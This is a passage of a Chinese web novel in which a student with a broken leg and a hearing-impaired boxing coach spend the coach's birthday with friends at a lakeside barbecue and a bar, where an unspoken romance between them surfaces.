“等等。”樊均起身又进了店里,从一张桌子上拿了两个烤串又出来了。 邹飏震惊地看着他。 那桌还坐着两男一女正吃着呢。 明抢啊? 不戴帽子就是这样的吗? “给,”樊均坐下,把烤串递给他,“先垫两口。” “怎么回事儿啊?”邹飏都没敢接。 “大头鱼他哥。”樊均说。 “……哦。”邹飏松了口气,接过了烤串。 “要……”樊均犹豫着,“喝点儿什么吗?” “啤酒吗?”邹飏问。 “随便你。”樊均说。 邹飏却突然有点儿答不上来了。 莫名其妙就觉得这会儿喝酒……像是要奔着酒后乱点儿什么去的,虽然他可以拿自己的石膏腿发誓没这么想,但还是有种樊均会不会觉得他是这么想的纠结…… “你腿现在能喝酒吗?”樊均问。 邹飏看着他,犹豫了一下:“能吧。” “那啤酒吧。”樊均说。 “好。”邹飏松了口气。 吃完烤串,他俩的海鲜炒饭还没炒好,于是两人一块儿对着桌上的四瓶啤酒发愣。 愣了一会儿,突然两大盘海鲜炒饭被人哐哐地放到了他们面前。 “哎操。”邹飏吓了一跳,往后蹬了一下,差点儿闪着左腿。 樊均明显也是被吓了一跳的,但反应跟邹飏不同。 邹飏发现他人几乎没动,但手已经抓住了桌沿儿,只要有需要,下一秒就能直接把桌子掀到来人身上。 还好下一秒这人出声了。 “你听不见也就算了,”一个男人站在桌边,“他怎么也听不见!” “谢了。”樊均笑笑,松开了抓着桌沿儿的手。 邹飏抬头看了一眼,这人应该就是大头鱼他哥,长得挺像的…… “我睡着了。”邹飏说。 “吃完再睡吧,”鱼哥一边往回走一边说,“凉了不好吃。” 邹飏看了樊均一眼,樊均也正看着他。 “靠,吓我一跳。”邹飏笑着说。 樊均没说话,往后靠到椅背上,也笑了起来。 海鲜炒饭还可以,料还挺足的,邹飏吃得很欢,一大盘炒饭就着啤酒,没多大一会儿就吃完了,甚至把盘底的饭粒儿都拾掇干净了。 “……还要吃点儿什么吗?”樊均看着他的盘子。 “不用不用,”邹飏赶紧摆手,“只要不是太难吃的东西我都习惯吃干净。” “嗯。”樊均于是也低头把盘子里剩下的饭渣子都吃光了。 往回走的时候,不知道是不是街上的人比之前更少了,月光变得亮了起来。 邹飏一直仰头看着夜空,有种微微眩晕的感觉。 像是喝了酒。 哦,就是喝了酒。 ……不过就两瓶啤酒而已,按他的酒量,理论上到不了这个程度。 一路上他俩都没怎么说话,街道上已经没车了,樊均推着轮椅在车道上走着,比人行道上要平稳很多。 邹飏就那么仰着头,看着月亮,和樊均的下巴颏。 他的脑袋其实靠不着轮椅的椅背,仰着头脖子会有点儿酸,但他一直也没动。 最后是樊均伸手托了一下他后脑勺:“你别一会儿把脖子扭了。” 邹飏笑了笑没说话,活动了一下脖子:“还成。” 回到樊均那儿,已经快两点过了。 “早上……他们几点过来?”樊均问。 “十点左右吧,”邹飏拿出手机,又放了回去,“过来之前会给我打电话的。” “嗯,”樊均犹豫了一下,“有……什么安排吗?” “保密,”邹飏说,“也就是常规的流程,没有很特别的,时间不够,要不肯定……” “不用,”樊均说,“就常规点儿就可以了,不用太复杂了。” “明年吧,”邹飏靠在沙发上想了想,“明年提前点儿准备,避开考试周。” “明年……”樊均看着他。 “怎么,”邹飏挑了一下眉毛,“明年不跟我一块儿过了吗?” 说完又赶紧摘了眼镜,随手抽了张纸巾擦着。 “不是,”樊均笑笑,又轻轻叹出一口气,“明年肯定不在这儿了。” “在哪儿都一样,”邹飏低头继续擦着眼镜,“在哪儿都有我。” “嗯。”樊均点点头。 手机在这会儿响了一声。 邹飏没动,估计还是刘文瑞,这人八成一直没睡守着手机。 “不看看吗?”樊均问,“这个时间。” 这个时间的确像是有急事。 邹飏只好摸出手机扫了一眼。 【瑞思拜】我告诉你,我还没睡呢,没良心的玩意 “刘文瑞。”邹飏一边飞快地回消息一边说了一句。 “是不是因为你……没回宿舍?”樊均问。 “……嗯。”邹飏应了一声。 【邹yang】见面细说 【瑞思拜】你说的,不细说我就去问樊均 邹飏感觉自己眼皮都蹦了一下,下意识往樊均那边看了一眼。 “嗯?”樊均也看着他。 【邹yang】你死不死,睡觉! “睡觉!”他说完就愣了愣,赶紧清了清嗓子,“没事儿。” “那你……”樊均也清了清嗓子,“睡我屋吗?” “我睡沙发就行。”邹飏赶紧直接往沙发上一倒。 “要洗……”樊均说到一半停下了。 邹飏只能沉默。 洗澡吗?怎么洗,你有人字梯吗? 樊均也没再说下去,伸手关掉客厅的灯,快步往屋里走。 到门边的时候又说了一句:“晚安。” “晚安,”邹飏说,“生日快乐。” 第45章 樊均进屋之后关上了门,但几秒钟之后门又响了一声。 邹飏躺着没动,也没往那边看。 挺了一会儿,但樊均并没有出来,转头借着夜灯的光,他发现门并没有完全打开,而是留了一条缝。 上回在这儿睡沙发的时候,樊均进屋就关了门,并没有专门留个缝。 邹飏感觉这就跟吃饭那会儿樊均的状态一样,大概是为了万一有什么事儿,能第一时间做出反应。 他闭上眼睛,在心里叹了一口气。 本来他还想着澡不洗就算了,一会儿去刷个牙洗个脸的,但现在决定放弃,怕他这儿有什么动静,樊均会紧张。 而且樊均着急忙慌进屋的时候跟他一样,什么都没收拾,这会儿也没再出来,他俩刚就一人喝了一杯水……就当漱口了吧。 邹飏笔挺地躺在沙发上,腿打了石膏的这段时间,他睡觉一直很笔挺,基本不怎么动,人只要不翻来翻去折腾,正常情况下就能很快睡着。 可能是今天用脑有些过度,他甚至还没有把这段话在脑袋里念明白,就失去了意识。 本来以为总会有点儿梦。 日有那么多思,夜估计也少不了梦。 但没有。 电话响的时候四周已经一片光明。 他闭着眼睛,满腔白睡了一晚上的怒火,接起了电话:“喂!” “我们现在出发了啊,”刘文瑞声音传了出来,“半小时差不多到,你睡醒了没?” “……醒了。”邹飏想起了今天还有安排,猛地一下睁开了眼睛。 “这一秒才醒的吧?”刘文瑞说,“睡挺好?” 邹飏没说话,转头看了看屋里,发现窗帘已经拉开了,没看到樊均。 “樊均!”他喊了一声。 “哎!”刘文瑞也喊了一声,“电话还没挂呢你知不知道?” “一会儿你开车注意安全。”邹飏说完挂掉了电话。 手机上有一条消息,是樊均十分钟前发过来的。 【樊】我买早餐 邹飏立刻站了起来,迅速地计算了一下大概需要的时间,然后做出了一个决定,接着飞速地蹦向了浴室。 趁樊均没回来,他得洗个澡。 为什么要趁樊均不在,无非就是避免尴尬,他在浴室以什么奇形怪状的姿势洗澡时,如果外面还杵着个人,实在没法想象该有多别扭。 浴室的墙上还有水珠,看着挺新鲜,估计是樊均一早起来洗了澡。 邹飏往浴室里看了一圈,可以把石膏腿架在花洒架的水龙头上,再把花洒拿下来冲水就行。 完美。 他把浴帘一拉,脱掉了上衣,再靠着墙把裤子也脱了,都搭到了浴帘杆上。 正抬着腿刚往水龙头上架好还在调整的时候,他突然听到了外面有动静。 他感觉自己耳朵都立到脑袋顶上去了。 门响了一声。 没等他再仔细辨认,浴室门已经被推开了,浴帘那边传来了樊均的声音:“邹飏?” “……啊?”邹飏简直震惊,“你怎么……这么快就回来了?你不十分钟前刚出去吗?” “我给你发消息的时候已经在打包了,”樊均说着似乎是准备出去,但又停下了,“你腿……你怎么洗澡?” “我架水龙头上就行,不用管我不用管我。”邹飏赶紧说。 “你……”樊均犹豫着,“要不要给你拿个工具?我这儿有一个Trx的悬挂绳……” “不用不用不用,”邹飏抬着一条腿,“我已经架好了。” “那行,你……等等。”樊均说完离开了浴室。 还等什么? 邹飏架着腿站在浴室里,一手撑着墙,有些无奈。 还好樊均很快就又回来了,一把拿走了他搭在浴帘杆上的衣服,又往上搭一一条浴巾。 “哎?”邹飏愣了,那些衣服里还有他的内裤…… “拿了套干净衣服给你放这边架子上了啊,内裤新的。”樊均说。 “你买内裤是不是都能拿批发价了啊……”邹飏忍不住问了一句。 “没有,一盒三条买了五盒。”樊均说完就出去了,关上了浴室门。 邹飏挑开浴帘往外看了一眼,自己换下来的衣服不知道搁哪儿了,架子上是樊均的衣服。 上回那件“毫无训练痕迹”还没还给樊均呢,这又穿一套他的? 不过留给他的时间不多了,刘文瑞一会儿到了,看到他穿樊均的衣服可能不会怎么想,但要看到他刚从浴室出来,铁定要脑海翻涌。 他打开了花洒,一边看清旁边放着的哪瓶是洗发水哪瓶是淋浴液,一边兜头冲着。 也就不到十分钟,他已经洗完了,浴巾胡乱一擦就算完事儿。 樊均给他拿的是条很休闲的大花沙滩裤和一件没有印字儿但印了图案的白T,吹头发的时候才看清上面居然印的是小白的照片。 “洗完了?”樊均探了个脑袋进来看了看。 “嗯,”邹飏点点头,“这是定制的吗?这个是不是小白。” “是,”樊均笑了笑,“它也有一件,印的是我的拳套。” “你真……”邹飏笑了起来。 快速洗澡还是很明智的,早餐还没吃完,刘文瑞的电话已经打过来了:“让樊均接电话。” “……你要干嘛?”邹飏咬着牙问。 “去他家是不是从菜鸟那个口左转?”刘文瑞说,“李知越非说是要再过一个路口!我还能不认识路了?” “听你知越哥哥的。”邹飏说。 “靠,我记错了?”刘文瑞很不服。 “嗯。”邹飏应了一声。 “我们不打电话直接上去了啊。”刘文瑞说。 这话听着还算正常,但其实听着一点儿都不正常,话里有话的。 “嗯。”邹飏又应了一声,没等他再说,直接把电话挂了。 二十四了,樊均站在窗前,看着外面。 没有什么风景,除了旧楼还是旧楼,各种破花盆和晾得乱七八糟的衣服,跟以往没有什么区别。 但今天的心情却跟以往的平静不太相同。 今天有些兴奋。 他长这么大,还是第一次对自己的生日有了实感和期待。 门被砸响之前,他已经听到了门外的喧闹声,三个人居然能制造出听障都觉得吵的动静,实属不易。 “来了!”邹飏叼着最后一个蒸饺起身过去开了门。 门刚一打开,张传龙整个人就劈了进来:“樊哥!生日快乐啊!” 大黑一道白光蹿进了卧室床底下。 没等樊均开口,刘文瑞和李知越就扒拉开他挤了进来:“生日快乐啊樊哥——” “谢……”樊均说到一半就被李知越打断了。 “这个蛋糕得先放冰箱,”李知越拎着一个巨大的盒子,“你这个冰箱得拆一层隔板才行。” “哦。”樊均赶紧过去打开了冰箱,把饮料往外拿。 “一次性餐具有吗?没有一会儿路上得找个超市买,”刘文瑞也跟了过来,帮着他拿东西,“刚我开车过来,路边侧方停车我停不了……” “你何止是侧方停不了,正方倒方你哪方也停不了。”张传龙说。 “一会儿车给你开。”刘文瑞说。 “不会,我拿本儿以后还没开过呢。”张传龙说。 “你会!你怎么不会!”刘文瑞瞪着他,“你用你那个嘴能去跑F1!” “先用你俩的嘴把蛋糕放好!”李知越说。 说实话,樊均很少会觉得吵,这会儿几个人吵得他有点儿犯迷糊。 “脑浆子疼……哎樊均。”邹飏的声音很精准地穿透了几个人的吵闹,进入了他的耳朵。 没等他转过头,胳膊就被拉了一下,邹飏把他从几个人中间拽了出来。 “蛋糕这么大吗?”他低声问。 “双层的,不过现在不能让你看,下午的,”邹飏笑了笑,把手机递到他眼前,“一会儿去这儿,你认识路吗?” 樊均看了一眼,是南舟坪最北角郊区的一个露营地,已经到旁边县城的范围了。 “没去过,不过我知道在哪儿,”他说,但心里突然又有些不踏实,“要去这儿……露营吗?” “不露营,”邹飏很快地说,“生日烧烤趴。” “嗯。”樊均点点头。 吕叔他们偶尔会在旧馆院子里烧烤,挺有意思的,但他还从来没跟一帮朋友去露营地烧烤过。 “你要不习惯我们就换地儿。”邹飏凑近他右耳边小声说。 “不用,可以,”樊均说,“我还没这么玩过。” “我就知道。”邹飏笑着一挑眉毛。 樊均也笑了笑,没等再说话,那边张传龙一拍巴掌:“好了!正好能放下。” “走吧,”刘文瑞走了过来,“现在出发过去,正好赶上午饭的点儿。” 等着樊均给大黑的喂食器里加粮的时候,刘文瑞一直盯着邹飏看。 “再看亲你了啊。”邹飏压着声音说。 “来来来,”刘文瑞指着自己的脸,也压低着声音,“你来。” “滚。”邹飏叹了口气。 “昨儿晚上答应我的事儿你别装不记得了。”刘文瑞把胳膊往他肩上一搭,低声说。 “嗯。”邹飏应了一声。 刘文瑞对这件事的兴趣远远超过了去烧烤,樊均把车停在路边,等着李知越和张传龙去超市买餐具的时候,他就在后座盯着邹飏。 邹飏不回头都能感觉到他炽热的目光,根本不敢回头。 “樊哥。”刘文瑞突然叫了樊均一声。 “干嘛!”邹飏猛地回过头。 “嗯?”樊均刚要回头,被他这一嗓子弄得愣了愣。 “你去过吗,那个露营地?”刘文瑞问了一句,又看着邹飏,“你干嘛,吓我一跳!” 邹飏没说话,盯着他。 “没去过,挺远的,平时没时间。”樊均笑笑。 “哦,”刘文瑞靠回座椅里,“那正好今天玩痛快了,吃也吃爽了,这肉是我们去市场找人专门弄的,超级香。” “嗯。”樊均笑着应了一声,“闻到了。” 转回头之后他又往邹飏这边侧了侧脸,用口型问了一句。 怎么了? 没事儿。 邹飏笑了笑。 根据导航指示,去露营地距离有四十公里多点儿,开过去差不多一个小时。 车里开着音乐,几个人跟着一路唱,不唱的时候就聊天儿,要不就吃东西,嘴就没停过。 邹飏本来还担心樊均不适应这种闹腾,但每次他转头看过去的时候,都能看到樊均微微勾起的嘴角。 今天不是周末,暑假也还没开始,所以露营地的人不多。 湖边大片的草地,还有一片林子,他们可以随意挑选烧烤的地点。 几个人下车打开了后备箱拿东西,一个刘文瑞从家里拿来的天幕,一套从刘文瑞家里拿来的烧烤工具,一套刘文瑞从家里拿来的野营桌椅…… 除了拉东西的露营车是他们搬宿舍的时候凑钱买的,别的东西都是从刘文瑞家里拿来的。 非常感人了。 “都是你从家里拿的?”樊均也很震惊。 “我家总爱出去玩,这些东西多,”刘文瑞说,“直接回家搬一趟就齐了。” “……谢谢。”樊均说。 “哎,别说这个,”刘文瑞马上摆了摆手,“邹飏……” 邹飏立马瞪着他,虽然刘文瑞不至于真的说出什么来,但毕竟也不是一个特别稳当的人,当初他被他妈因为疑似早恋追着打也是他自己说漏的嘴。 “……的生日我们也是这么过,大家生日都这么过,”刘文瑞也瞪了他一眼,“都朋友嘛。” 一帮人拖着露营车,拿着一堆东西往选定的地点过去的时候,邹飏放慢速度,柱着个棍儿,落到了队伍最后。 刘文瑞默契地也挨了过来。 “你说话注意点儿啊。”邹飏飞快地说。 “是我猜的那样吗?”刘文瑞也语速飞快,“你不跟我说清楚我往哪个方向注意?” “你大爷你以前是怎么跟他说话你现在就怎么说。”邹飏说。 “你就说是不是我猜的那样快点儿的他不是傻子咱俩再这么蛐蛐两回他肯定起疑。”刘文瑞说。 “这会儿还装上贴心好哥们儿了我觉得应该是的。”邹飏说完就感觉自己心跳停止了,脚下的步子都差点儿踉跄。 “我操,”刘文瑞咬着牙低声说,手里还拎着东西,他只能狠狠地甩了一下脑袋以示震惊,“我操……你跟他说了没。” “没。”邹飏看着樊均的背影。 “知道了,”刘文瑞咬着牙,“你……” “你消化一下吧。”邹飏说完就加快脚步往前蹦了过去。 “我操……”刘文瑞还是咬着牙,“那你没说就是单……我操那你有点儿惨吧……” 大家挑的扎营地点在树林边,能遮点儿阳光,离湖边也不远,走几分钟还有个寂寞的没有生意的咖啡车。 “谁来搞这个天幕,”李知越把天幕扔到草地上,“我对于这玩意儿来说太文弱了。” “我来吧。”樊均走过去拿起天幕。 “哪能让寿星干这个?”张传龙说。 “那你干。”邹飏说。 “我打下手吧。”张传龙马上改口一点儿都没犹豫。 “不用。”樊均拿起地钉什么的看了看,“这个比帐篷好弄。” “龙龙!用不着你,过来弄这个肉!这么一大兜呢!”刘文瑞喊。 “你还扎过帐篷呢?”邹飏问。 “高中的时候去南舟坪公园春游,”樊均抖开天幕,“有个同学带了个小帐篷……想跟他女朋友二人世界。” “你们高中还有春游啊?”邹飏说。 “高一有一次,后来就没了。”樊均笑笑。 “好玩吗?”邹飏问,突然有种说不上来的酸劲儿,自己都有点儿莫名其妙,“我以为你……不参加学校的活动呢。” “不好玩,”樊均看着他,“我去是因为可以不上课,中途还能溜走。” “靠。”邹飏笑了。 “邹飏,”樊均往刘文瑞那边儿看了一眼,“你跟刘文瑞……” “我俩真没事儿……”邹飏说到一半停下了,樊均这么敏感的人,估计是已经感觉到了。 “哦。”樊均也没再问,低头开始支天幕。 邹飏坐在草地上没动,就这么强行说没事儿,樊均肯定不会再开口,但他又觉得有些对不住樊均,像是把他排除在了某条线之外。 “就是……”他艰难地开口。 “嗯?”樊均动作停下了。 “刘文瑞本来想把你介绍给他表妹。”邹飏飞快地说了一句。 “什么?”樊均下意识地把右耳凑到了他面前。 “我拒绝了。”邹飏看着他。 樊均也看着他,手里还拎着天幕的一角,过了一会儿才应了一声:“……哦。” 第46章 刘文瑞的表妹。 樊均一时之间都不知道该做出什么反应才能配合上邹飏的瞎话,顿了顿之后只能继续搭天幕。 邹飏也没再说话,直接往地上一躺,枕着胳膊闭上了眼睛。 樊均一边接天幕的架子,一边看了一眼那边已经把桌子架好正整理烤串的几个人,总感觉刘文瑞有意无意会往这边儿看…… 他很快把支架搭好,顶篷也调整好了,固定好一边的风绳,他拿着一颗地钉有些无语,邹飏躺得相当是地方,正好躺在了最后一根风绳的固定位上。 邹飏昨天晚上不知道睡没睡好,因为他正常情况下入睡似乎也很快,总之就搭天幕这一会儿,感觉邹飏已经是一副睡死过去了的样子。 樊均犹豫了一下,准备把那边几颗地钉拆掉,天幕往旁边挪挪…… “真会找地儿睡觉!寿星干活你睡觉!”刘文瑞挥着胳膊就过来了,往邹飏胳膊下面一捞,直接往旁边拖开了一米多。 ……果然是一直看着这边儿。 “你大爷!”邹飏骂了一嗓子。 “我大爷不给你拖开,地钉就得戳你身上!”刘文瑞把他扔回地上。 “你问他敢不敢!”邹飏说,“我股东呢!” “……那不敢,”樊均说,“我都没往武馆投过钱。” “我不给你弄回去我跟你姓!”刘文瑞弯腰就又捞起邹飏准备把他拖回原地。 “哎!”邹飏没忍住笑了起来,“撒手,神经病。” “也不知道是谁!”刘文瑞啧了一声,转身走开了。 樊均笑着把最后一根风绳拉紧,插上了地钉。 “我刚睡着了。”邹飏枕着胳膊,偏过头看着他。 “看出来了,”樊均说,“昨天……” 说完这两个字又觉得不该提昨天,本来就挺尴尬的。 但口都开了也只能继续下去:“……没睡好吗?” “睡挺好的,梦都没做一个,”邹飏说着摸了一下自己胳膊,“不过大黑半夜可能跑酷了,我胳膊上一道口子。” “忘给它剪指甲了,”樊均说着往他那边凑了凑,“口子深吗?” 邹飏捞起袖子向他展示了一下。 胳膊内侧挺长的一道血口子,樊均愣了愣:“疼吗?” “不疼,”邹飏摇头,“都没感觉,早上洗澡……的时候才发现的。” “我都不知道它抓人这么狠。”樊均说。 “你没被它抓过?”邹飏看着他。 “没有。”樊均看了看自己的手。 看到手腕上的手串,眼神忍不住停留了一会儿,这个橄榄石的珠子在阳光下是真的好看。 “明年给你送个更好点儿的生日礼物,”邹飏举起胳膊,也看着自己手腕上那条手串,“这回太急了,也没细琢磨。” “已经很好了,”樊均看着他,“你生日是什么时候?” “怎么,”邹飏笑了笑,坐了起来,胳膊撑着地,“要送我什么啊?” “没想好。”樊均说。 “还早呢,”邹飏说,“我生日十月了,你慢慢准备吧。” 樊均没给人送过什么礼物,完全没经验,特别是像邹飏这样的人,想象不出来送什么样的礼物合适他。 邹飏跟他不同,长得帅,人缘也好,平时收到的礼物肯定不少,估计很难有什么礼物能让他感觉到惊喜了。 “烤了啊!”张传龙在那边喊。 “来了!”邹飏也喊了一声。 樊均收回思绪,站起身,顺手把邹飏拉了起来。 “争取都吃完,”邹飏往烧烤架旁边一坐,拿了几串肉放到了烤网上,“不往回带了。” “吃不完可以分给别人,”李知越说,“林子里有一帮野餐的大学生,过来偷看好几次了。” “不会是我们学校的吧?”邹飏往林子里看了看。 “吃剩的人家也未必愿意要。”刘文瑞说。 “吃剩的又不是舔剩的,为什么不愿意要,”邹飏啧了一声,“你问张传龙,白给他十串肉他要不要。” “要。”张传龙回答。 这帮人架天幕是不行的,但烤肉串还是很熟练,毕竟平时吃得多看都看会了。 没多大一会儿就烤了一大盘肉,坐在天幕下边儿,倒上饮料准备开吃。 “樊哥,等一会儿啊。”李知越把桌上的吃喝挪了一下,腾了个空出来。 “怎么?”樊均问。 “有东西送你。”李知越说着转身去了露营车旁边。 “不是买了蛋糕了吗?”樊均突然有些不好意思,感觉一个生日,一帮人破费…… “那个不算,蛋糕啊肉啊那都是邹飏买的,”张传龙说,“我们就是白吃。” “哎对,”邹飏靠在椅子上晃了晃石膏腿,“这没说错,就是白痴。” 樊均没忍住笑了起来。 “邹飏你就是欠儿蹬,”张传龙指着邹飏,“我真烦死你了。” “一会儿请你喝咖啡。”邹飏笑着说。 “生酪拿铁谢谢。”张传龙马上说。 “有什么喝什么你还点上单了。”邹飏说。 李知越抱着个黑色的礼盒过来了,往桌上一放。 “来,樊哥,这是我们三个送你的礼物,”刘文瑞说,“也不知道你喜欢什么,就按我们自己想的来了。” “谢谢。”樊均看着礼盒,多一句也不知道该说什么了。 黑色的礼盒,上面是亮粉色的缎带和花,很漂亮。 “我……先拍个照。”樊均拿出手机。 “我帮你拍,”邹飏拿出了自己的手机,“你拿着盒子吧。” “嗯。”樊均点点头,收了手机,拿过了盒子捧着。 “笑一个。”邹飏推了推眼镜,举起手机对着他。 樊均笑了笑。 “帅。”邹飏说。 “帅。”刘文瑞跟着也说了一句。 张传龙和李知越立马也跟着喊:“帅!” 盒子拆开,里面是一副拳击手套。 这是樊均没想到的,他有些意外地看了看几个人。 “上回看你拳套有点儿旧了,”李知越说,“这个不知道合不合适,不合适还能拿去换。” 樊均戴上试了试:“合适的,谢谢。” “那就行,”张传龙一拍巴掌,“开吃!” 这个生日过得有些恍惚。 阳光,草地,树林,湖水,远处的咖啡车…… 身边吵闹的朋友和炭火与肉香混杂的气息。 宁静而喧嚣,有种做梦一样的不真实,而真实的是他不愿意醒来的感觉。 一帮人吃饱喝足瘫在天幕下,一块儿看着湖水发愣,阳光很足,但穿过树林扫过湖面的风带着凉意,还挺舒服。 作为风景之一的咖啡车那边,老板这会儿也支了个阳伞坐在车子旁边,时不时往他们这边儿瞅两眼,眼神里的期盼樊均隔这么老远都能感觉到。 他看了一眼瘫在天幕下的一真三假,问了一句:“你们喝咖啡吗?我去买咖啡。” “喝!”几个人瘫着没动,但声音宏亮。 只有唯一的真瘫邹飏一挥手:“走,去光顾一下咖啡车。” “我去就行了,菜单拍了给你们看。”樊均看了一眼他的腿,就旁边那个下车的时候才临时找的棍儿,不知道什么时候已经断了。 邹飏看着他,没说话。 樊均突然有点儿尴尬,好像他不愿意跟邹飏一样似的,但当着这么多人又不知道还能怎么说。 “让他去吧,不行你背他,”刘文瑞仰个脑袋看着天幕顶,“走不了也移动一下位置,他本来就多动症,这阵儿瘸了快憋死他了。” “我背你。”樊均转过身,邹飏坐的椅子矮,他得跪一条腿才方便邹飏上来。 “谢了。”邹飏的胳膊从他肩上绕了过来,伏到了他背上。 背着邹飏刚站起来要走,张传龙突然说了一句:“要不我们也……” “我不去啊我现在舒服得想褪皮。”李知越靠在椅子上没动,眼睛都没睁。 “给哥按按腿,”刘文瑞把腿搭到了张传龙身上,“大腿前侧,股四,对,股四有点儿酸。” “要不要脸你股四干什么了还会酸?你走路都不使劲!”张传龙怒了,一巴掌拍了下去。 “给他捏捏,他蹲坑把股四蹲酸了。”李知越笑得不行。 樊均站那儿也不知道是该走还是该等一下张传龙。 “走。”邹飏在他耳边低声说。 这声音带着被太阳晒透了的沙哑,顺着耳后滑过来的时候带着好听的颗粒感,樊均第一步迈出去的时候差点儿没站稳。 身后的刘文瑞和张传龙因为按不按股四以及刘文瑞的股四有没有可能酸而扭打到了草地上。 樊均不知道刘文瑞的股四什么情况,但他知道刘文瑞肯定是已经知道了,这人大半天下来,比邹飏都不正常。 李知越倒是看不出来…… “这湖还挺大。”邹飏说。 “嗯,”樊均转头看了一眼那边的湖,“过去看看吗?” “算了,”邹飏说,“地不平,不好走。” “没事儿。”樊均背着他往湖边走了过去。 湖边的草很稀疏了,都是泥和石头,他顺着被人踩出来的小路在湖边走着。 邹飏举着手机在他面前拍了几张照片,他能从屏幕里看到远处的山和山上开着的花,再加上近处的树木草地和映着蓝天白云的湖面。 “真美啊。”他忍不住感叹。 “嗯,”邹飏应着,又低声说了一句,“松花半落春山暮,云满一溪春水闲……不过这个算是云满一湖春水闲……” 樊均没说话,他只感觉有什么音符从他脑子里轻轻跳过,邹飏美好得跟今天这个生日一样,仿佛是在梦里。 这一瞬间,他无比地害怕这个梦会醒来…… 开着车离开露营地的时候,太阳都开始斜了,出来的时候碰到不少露营过夜的车开进去。 樊均没想到这个生日是要庆祝一整天的,本来以为回去吃个晚饭就算圆满结束了,但邹飏却只是说先回去拿上蛋糕和轮椅。 带着那个蛋糕和邹飏的轮椅,邹飏又指挥着他把车往酒吧街开。 “去那个……我看看,”邹飏拿出手机,“叫什么南舟坪几号来着……” “八号。”樊均说。 “对,八号,南舟坪八号,”邹飏看着他,“你知道?” “我就在那儿……”樊均清了清嗓子,“看场子。” “我操!”刘文瑞在后座一下坐直了,“你还干过这么牛逼的活儿?” 晚上八点多,酒吧还没几个人,他们几个进去的时候,吧台后站着的领班陆哥一眼就看到了樊均:“均儿?” “陆哥。”樊均打了个招呼。 “不戴帽子都不认识你了,你这是……”陆哥快步走了过来,看着坐在轮椅上的邹飏,又压低声音凑到他右边,“新活儿吗?” “……嗯?”樊均一下没听明白。 “懂,”陆哥拍拍他的肩,“懂。” “你懂什……”樊均都没懂。 “我昨天订了个桌。”邹飏打断了他俩的对话,看了一眼陆哥。 “知道,知道,”陆哥立马做了个手势,“邹少跟我来。” 这个称呼一出来,邹飏眉毛挑了起来,看了樊均一眼。 樊均没说话,反应过来,陆哥眼里,他这会儿八成是这位邹少的保镖。 趁着这会儿人少,几个人打算先把生日蛋糕吹蜡烛的流程走了。 “我录着。”刘文瑞举着手机。 樊均小心地扯开了白色的蛋糕盒子上的蝴蝶结,慢慢地把盒盖打开。 是一个纯白色的双层蛋糕,下层蛋糕边上围了一圈红边。 上层有用巧克力写的四个字。 从此坦途。 樊均看着这四个字,沉默了很长时间,才低头用手捂着脸搓了搓,感觉自己手指都是抖的。 “这个红色的是腰带,”邹飏说,“李知越说你本命年得有。” “谢谢,”樊均抬起头,笑了笑,“谢谢。” 插上蜡烛,点亮,唱生日歌,许愿,吹蜡烛。 流程一步不落全部走完。 邹飏抬手招了招,陆哥跑了过来。 “帮我们切一下吧。” “好的邹少。”陆哥说。 邹飏吸了一口气,想说句什么,但最后还是放弃了,往沙发上一靠,食指指节推了推眼镜。 “这几个字……留个整的。”樊均说。 “拿个打包盒装起来?”陆哥问。 “行。”樊均点头。 陆哥把蛋糕拿走之后,服务员开始上果盘和小吃。 都是邹飏提前订好的,甚至还加钱让人去帮准备了点儿烧鸡之类能顶饱的…… 切蛋糕分蛋糕的还得要点儿时间,樊均转头往吧台那边看了一眼,靠到邹飏身边低声说:“我去给你调杯酒。” “嗯?”邹飏又一挑眉毛,“我能过去看吗?” “……好。”樊均点头。 刘文瑞他们几个边吃小吃边忙着看刚才拍的视频,樊均扶着邹飏到了吧台坐下。 “陆哥,借点儿工具。”樊均对吧台里的陆哥说了一句。 “做什么?”陆哥问。 “Spumoni。”樊均说。 陆哥点点头,帮他把要用的酒和饮料还有工具拿过来放在了吧台上,然后走开了。 邹飏斜靠着,胳膊撑在吧台上,很兴趣地看着他。 樊均以前自己调酒都是自己喝着玩,从来没给谁做过,这会儿被邹飏这么盯着,突然就感觉有点儿紧张。 “这个……很简单,没什么花活儿,”他拿过杯子,“我也不会。” “嗯。”邹飏笑笑,“要用什么材料?” “金巴利,西柚汁和汤力水,”樊均把冰块夹进杯子里,飞快地搅着,“用鲜红柚榨汁会更好喝,但是……” 他放低声音:“他们这儿没有。” 邹飏笑着没说话。 杯子外壁上很快起了一层霜,他拿过金巴利,往量酒器里倒了一杯,再倒进摇酒壶,接着是西柚汁,再往里放了点儿冰块。 全程手都因为紧张而有些发抖。 盖好盖子开始摇酒的时候他侧过了身,怕手一滑把壶砸到邹飏脸上。 酒摇好之后,倒进杯子里,最后把汤力水从冰块旁边慢慢倒满…… “好了,”樊均指了指杯口,把杯子放到了邹飏面前,“你假装这里有一片西柚吧……” 在他的手准备离开杯子的同时,邹飏一把握住了杯子。 和他的右手。 樊均愣住了,看着邹飏。 邹飏没有说话,甚至也没看他,只是盯着杯子。 “邹飏?”他叫了邹飏一声。 邹飏还是沉默,只是收紧了手指,按在他手背上的指尖微微颤抖着。 手心里是杯子的冰凉,手背是邹飏掌心里的滚烫,樊均感觉自己的呼吸有些不畅,稍不注意就会停止。 他看着邹飏,过了一会儿才伸出左手抓住了邹飏的手腕,慢慢地把自己的右手抽了出来。 第47章 这杯子冰得手疼。 樊均的手抽走之后,邹飏的手就紧紧地握在了杯子上。 冰得手心疼。 顺着脉搏感觉整条小臂都是凉的。 但就像僵住了一样,手完全没有松开的意思。 那种说不清是失落还是尴尬还是心疼还是别的什么乱七八糟混在一起的情绪,就像一把钳子,把他的手死死钳在了杯子上。 不想动。 “邹飏……”樊均开了口。 听得出很艰难。 邹飏这才猛地回了神,松开了手。 短暂的停顿之后,他换了右手拿起杯子。 很漂亮的一杯酒。 他喝了一口。 味道跟看起来的完全不一样。 第一秒是苦的。 某种带着草药味儿的清苦跟着气泡在舌尖上蹦着。 “苦的。”他说。 又喝了一口。 酒咽下去几秒钟了,他才在最后尝到了酸甜中有些发涩的红柚味。 很神奇,这玩意儿不好喝,苦中带酸酸中带涩,最后才有那么一丢丢的甜。 但又并不难喝,有种诡异的能让人继续喝下去的吸引力。 陆哥回到了吧台后头,樊均让他再给刘文瑞他们送几杯酒过去。 邹飏沉默地喝着,没看樊均,也没说话。 到那边服务员把切好的蛋糕端上来的时候,杯子里的酒见了底,他仰头喝光最后一口。 “过去吧。”他放下杯子,站了起来。 樊均过来扶住了他胳膊。 邹飏蹦回了他们的卡座,直接往沙发上一倒,先是感觉自己轻轻叹了一口气,但又感觉似乎并没有。 